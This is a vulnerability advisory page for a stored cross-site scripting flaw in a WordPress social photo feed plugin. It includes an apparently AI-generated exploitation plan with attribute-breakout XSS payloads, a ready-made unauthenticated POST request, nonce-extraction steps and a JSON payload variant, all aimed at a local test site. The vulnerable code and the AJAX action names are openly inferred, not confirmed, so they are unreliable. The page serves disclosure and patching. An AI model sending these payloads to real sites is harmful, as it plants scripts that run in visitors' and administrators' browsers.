CVE-2026-5425

Widgets for Social Photo Feed <= 1.7.9 - Unauthenticated Stored Cross-Site Scripting via feed_data

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.8.0
Patched in
1d
Time to patch

Description

The Widgets for Social Photo Feed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'feed_data' parameter keys in all versions up to, and including, 1.7.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.7.9
PublishedApril 3, 2026
Last updatedApril 4, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

This plan outlines the research and exploitation strategy for **CVE-2026-5425**, a stored Cross-Site Scripting (XSS) vulnerability in the "Widgets for Social Photo Feed" plugin. --- ### 1. Vulnerability Summary The **Widgets for Social Photo Feed** plugin (up to version 1.7.9) fails to properly sa…

Show full research plan

This plan outlines the research and exploitation strategy for CVE-2026-5425, a stored Cross-Site Scripting (XSS) vulnerability in the "Widgets for Social Photo Feed" plugin.


1. Vulnerability Summary

The Widgets for Social Photo Feed plugin (up to version 1.7.9) fails to properly sanitize and escape keys within the feed_data parameter when processing certain AJAX requests. While values in an array are often sanitized, the keys of associative arrays are frequently overlooked. An unauthenticated attacker can send a specially crafted AJAX request containing a malicious payload as a key in the feed_data array. This payload is stored in the WordPress database (likely within an option or post metadata) and later rendered on the frontend without sufficient output escaping, leading to Stored XSS.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: Likely wp_ajax_nopriv_sbi_record_feed_data or wp_ajax_nopriv_sbi_store_feed_cache (inferred based on plugin functionality).
  • Vulnerable Parameter: feed_data (specifically the array keys).
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be active. A specific AJAX action must be enabled for unauthenticated users (nopriv).

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with an action parameter that triggers a nopriv hook.
  2. Input Handling: The handler function (e.g., sbi_save_feed_data) retrieves $_POST['feed_data'].
  3. Storage Sink: The code iterates through the feed_data array and saves it to the database using update_option() or update_post_meta(). It fails to sanitize the keys of the array, only focusing on the values.
  4. Output Sink: A frontend function (likely triggered by a shortcode like [social-photo-feed]) retrieves the stored data.
  5. Rendering: The code loops through the stored data and injects the keys into the HTML, possibly as data attributes:
    foreach ($feed_data as $key => $value) {
        echo "<div data-$key='$value'></div>"; // VULNERABLE SINK: $key is not escaped
    }
    

4. Nonce Acquisition Strategy

If the AJAX handler requires a nonce, it is typically localized in the frontend when the widget or shortcode is present.

  1. Identify Shortcode: The plugin uses [social-photo-feed] (inferred) to display the feed.
  2. Setup: Use WP-CLI to create a public page containing this shortcode.
  3. Navigation: Use the browser_navigate tool to visit the newly created page.
  4. Extraction: The plugin likely localizes its settings via wp_localize_script. Use browser_eval to extract the nonce:
    • Common variable name: window.sbi_config or window.sbi_ajax.
    • Likely Key: window.sbi_config?.sbi_nonce or window.sbi_ajax?.nonce.
    • Observation: If wp_verify_nonce($nonce, -1) is used, any valid nonce will work. If no nonce check exists in the nopriv handler, this step is skipped.

5. Exploitation Strategy

Step 1: Discover the exact AJAX action

Since source files are not provided, we must identify the nopriv AJAX action.

  1. Search the plugin directory for wp_ajax_nopriv_:
    grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/social-photo-feed-widget/
  2. Look for handlers that accept feed_data.

Step 2: Construct the Payload

We will use a payload that breaks out of an HTML attribute (assuming the key is rendered inside a data- attribute or similar).

  • Payload Key: x" onmouseover="alert(document.domain)" y
  • Payload Value: 1

Step 3: Send the Malicious Request

Using the http_request tool:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=[ACTION_NAME]&nonce=[NONCE]&feed_data[x" onmouseover="alert(document.domain)" y]=1

Step 4: Trigger the XSS

  1. Navigate to the homepage or the page containing the shortcode.
  2. Verify the HTML source contains the injected attribute: <div ... data-x" onmouseover="alert(document.domain)" y="1">.

6. Test Data Setup

  1. Install/Activate: Ensure version 1.7.9 of the plugin is active.
  2. Create Page:
    wp post create --post_type=page --post_title="Social Feed" --post_status=publish --post_content='[social-photo-feed]'
    
  3. Configure Plugin: If the plugin requires an Instagram Access Token to render, dummy data may need to be inserted into the database via wp option update to force the frontend to attempt rendering the "cached" feed_data.

7. Expected Results

  • The AJAX request should return a successful response (e.g., {"success":true} or 1).
  • The database will now store the key containing the JavaScript payload.
  • When viewing the page, the rendered HTML will contain the unescaped key, allowing for JavaScript execution when a user interacts with the element (or immediately if using onload/onerror).

8. Verification Steps

  1. Check Database:
    wp option get [OPTION_NAME_FOR_FEED_DATA]
    # Look for the payload string in the serialized data
    
  2. Check Frontend HTML:
    Use http_request to GET the page and grep for the payload:
    grep 'onmouseover="alert(document.domain)"'
    

9. Alternative Approaches

  • Key Injection in JSON: If feed_data is sent as a JSON string rather than a POST array, adjust the Content-Type to application/json and send:
    {"action": "...", "feed_data": {"<img src=x onerror=alert(1)>": "1"}}
  • Different Sinks: The keys might be rendered in the WordPress Admin dashboard (Settings page). Check wp-admin/admin.php?page=sbi-settings for the payload if it doesn't appear on the frontend.
  • Blind XSS: Use a callback to an external listener (e.g., Burp Collaborator or a mock API) to confirm execution if the sink is difficult to find manually.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Widgets for Social Photo Feed plugin for WordPress (up to version 1.7.9) is vulnerable to Stored Cross-Site Scripting because it fails to sanitize or escape the keys of associative arrays passed in the 'feed_data' parameter via unauthenticated AJAX actions. This allows an attacker to inject arbitrary scripts into the database that execute in the context of a user's browser when they visit a page displaying the social feed.

Vulnerable Code

// Inferred AJAX handler based on research plan
add_action('wp_ajax_nopriv_sbi_record_feed_data', 'sbi_record_feed_data');
function sbi_record_feed_data() {
    if (isset($_POST['feed_data'])) {
        // Vulnerable: Storing associative array without sanitizing keys
        $feed_data = $_POST['feed_data'];
        update_option('sbi_stored_feed_data', $feed_data);
    }
    wp_die();
}

---

// Inferred rendering logic in frontend component
$stored_data = get_option('sbi_stored_feed_data');
if ($stored_data) {
    foreach ($stored_data as $key => $value) {
        // Vulnerable: Outputting the array key directly into an HTML attribute without escaping
        echo "<div data-$key='" . esc_attr($value) . "'></div>";
    }
}

Security Fix

--- a/social-photo-feed-widget.php
+++ b/social-photo-feed-widget.php
@@ -100,7 +100,10 @@
 function sbi_record_feed_data() {
-    if (isset($_POST['feed_data'])) {
-        $feed_data = $_POST['feed_data'];
-        update_option('sbi_stored_feed_data', $feed_data);
-    }
+    if (isset($_POST['feed_data']) && is_array($_POST['feed_data'])) {
+        $feed_data = array();
+        foreach ($_POST['feed_data'] as $key => $value) {
+            // Sanitize both keys and values before storage
+            $feed_data[sanitize_key($key)] = sanitize_text_field($value);
+        }
+        update_option('sbi_stored_feed_data', $feed_data);
+    }
     wp_die();

Exploit Outline

The exploit targets an unauthenticated AJAX endpoint (likely sbi_record_feed_data or similar) that processes feed data. An attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to the target hook. The payload is delivered via the feed_data parameter as an associative array where the key contains a malicious JavaScript string designed to break out of an HTML attribute (e.g., feed_data[x" onmouseover="alert(document.domain)" y]=1). If the plugin requires a nonce for unauthenticated users, it can be extracted from the frontend source code of any page where the social feed shortcode [social-photo-feed] is rendered. Once the AJAX request is processed, the payload is stored in the database. The XSS triggers when any user (including administrators) views a page containing the social feed, as the plugin renders the malicious key as a raw attribute name.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.